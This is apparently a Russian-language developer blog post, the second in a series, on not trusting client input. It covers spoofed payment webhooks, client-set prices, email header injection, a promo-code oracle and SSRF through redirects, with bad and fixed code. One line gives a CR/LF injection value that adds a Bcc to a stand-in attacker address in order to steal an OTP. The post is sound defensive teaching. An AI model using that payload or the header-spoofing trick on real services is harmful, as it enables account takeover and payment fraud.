Берегите очко смолоду
Часть 2 — про чужой ввод: тело запроса, заголовки, вебхуки и почему «выглядит правильно» ≠ «настоящее».

Что здесь важно для продукта#

Любая форма, API-метод, импорт CSV или webhook — это вход в систему. Если сервер принимает входящие данные как правду, пользователь или интеграция могут заставить продукт работать против своих правил.

Хорошая проверка не спорит с интерфейсом. Она стоит на сервере и каждый раз заново отвечает на вопросы: кто прислал данные, имеет ли он право так делать, не противоречит ли запрос состоянию системы.

Есть установка, которую стоит вытатуировать на внутренней стороне век любому, кто пишет бэкенд: данные, пришедшие снаружи, — это не факты, это заявки. Клиент может прислать что угодно и в любом виде. Если сервер принимает форму за подлинность, рано или поздно кто-то этим воспользуется. Разберём на конкретных ошибках.

«Оплата прошла», которой не было#

Классика жанра — вебхуки платёжных провайдеров. Сервис принимает уведомление «платёж успешен» и открывает доступ. Вопрос только в том, как он убеждается, что уведомление настоящее.

В одном случае «защита» была построена на IP: брали адрес из заголовка X-Forwarded-For и сверяли с allowlist. Беда в том, что без корректно настроенного trust proxy этот заголовок полностью контролируется тем, кто шлёт запрос. Подставляешь нужный IP строкой — и ты «провайдер». Тело при этом принималось на веру. Итог: «оплата прошла» подделывается за один curl.

// bad: доверяем заголовку, который клиент сам и прислал
const ip = req.headers["x-forwarded-for"];
if (allowlist.includes(ip)) markPaid(req.body.orderId);

Правильная логика зависит от того, есть ли у вебхука криптоподпись. Если есть — проверяем подпись тела секретом. Если подписи нет — единственная честная проверка — это перезапросить объект через API провайдера и считать источником правды его ответ, а не присланное тело.

// good: тело — лишь повод сходить и спросить у источника
const order = await provider.getOrder(req.body.orderId);
if (order.status === "paid") markPaid(order.id);

IP-allowlist без доверенного прокси даёт ложное чувство безопасности. А если trust proxy всё-таки нужен — настраивайте его строго под число реальных прокси перед приложением, а не «доверять всем».

Сумму считает сервер, а не клиент#

Рядом стоит ещё более наивная ошибка: клиент сам присылает сумму платежа в теле запроса, а сервер её не пересчитывает и проводит как есть.

// bad
createPayment({ plan: body.plan, amount: body.amount });

// good: сумма выводится на сервере из тарифа, клиентское значение игнорируется
const price = await prices.resolve(body.plan);
createPayment({ plan: body.plan, amount: price });

Цена, скидка, итог — это серверная арифметика. Всё, что прислал клиент про деньги, — это пожелание, а не данные.

Перевод строки, который угоняет аккаунт#

Одна из самых неприятных историй — инъекция через поле email при отправке письма с кодом подтверждения. Значение адреса подставлялось в письмо без строгой валидации, и в него можно было воткнуть перевод строки (CR/LF). А дальше — классический header injection: дописать скрытую копию письма и получить чужой OTP себе.

victim@example.com%0D%0ABcc:attacker@evil.test

Перехватил код — прошёл подтверждение — захватил аккаунт. Вишенка: «грязное» значение со спецсимволами ещё и сохранялось в базу как есть.

Лечится это не одной заплаткой, а слоем гигиены ввода:

  • строгая валидация и нормализация: trim, привести к нижнему регистру, проверка ReDoS-безопасным выражением, явный отказ при управляющих символах CR/LF;
  • получатель письма передаётся строго отдельным полем to:, без склейки пользовательского значения в заголовки;
  • нормализация выполняется и на уровне DTO на входе, и ещё раз в сервисе — не полагаемся на то, что «там выше уже проверили».

Публичный ответ как оракул#

Был эндпоинт тарифов — обычный публичный GET. По форме ответа было видно, применилась скидка или нет. Этого хватило, чтобы без всякой авторизации перебирать промокоды: шлёшь код, смотришь, изменился ли ответ. Хуже того, «превью с промокодом» жило отдельной веткой кода, дублировало бизнес-логику и игнорировало лимиты применения.

Если по публичному ответу можно отличить «правильное» от «неправильного», он становится оракулом для перебора — вне зависимости от того, защищали вы что-то паролем или нет.

Урок: публичный ответ не должен подтверждать или опровергать существование секретного значения. Проверка промокода — это один защищённый эндпоинт с полной валидацией и лимитами, единственный источник истины для бизнес-правил. Никаких параллельных «облегчённых» копий логики.

SSRF и редиректы#

SSRF: сервис ходил по URL, который частично контролировал пользователь, и был allowlist разрешённых хостов. Проверяли исходный URL — он в списке, пропускаем. Но удалённый сервер отвечал редиректом на совсем другой хост, и клиент послушно шёл по нему. Allowlist проверили один раз, а уехали в итоге не туда.

// good: проверяем хост на каждом шаге, а не только в начале
async function safeFetch(url: string) {
  let current = url;
  for (let i = 0; i < MAX_REDIRECTS; i++) {
    assertAllowedHost(current); // ре-валидация перед каждым запросом
    const res = await fetch(current, { redirect: "manual" });
    if (!isRedirect(res.status)) return res;
    current = res.headers.get("location")!;
  }
  throw new Error("too many redirects");
}

Ре-валидация после каждого редиректа — единственный способ не дать увести запрос во внутреннюю сеть.

Сквозная мысль#

Если убрать частности, остаётся одно правило. Форма данных не доказывает их подлинность. Любой заголовок, любое поле, любой URL, который контролирует клиент, — это вход, а не истина. Подлинность даёт только то, что нельзя подделать снаружи: криптоподпись, перезапрос у доверенного источника, серверный пересчёт.

В следующей части — про аутентификацию и сессии: как проверки тихо отключаются на пустом конфиге, почему dev-обход доезжает до прода и что не так с вечными refresh-токенами.


Если в проекте есть формы, вебхуки, импорты, личные кабинеты или API для партнёров, важно понимать, чему там вообще можно верить. Напишите мне в Telegram или на почту — помогу пройти цепочку «вход → проверка → действие» и закрыть места, где чужие данные слишком быстро становятся правдой.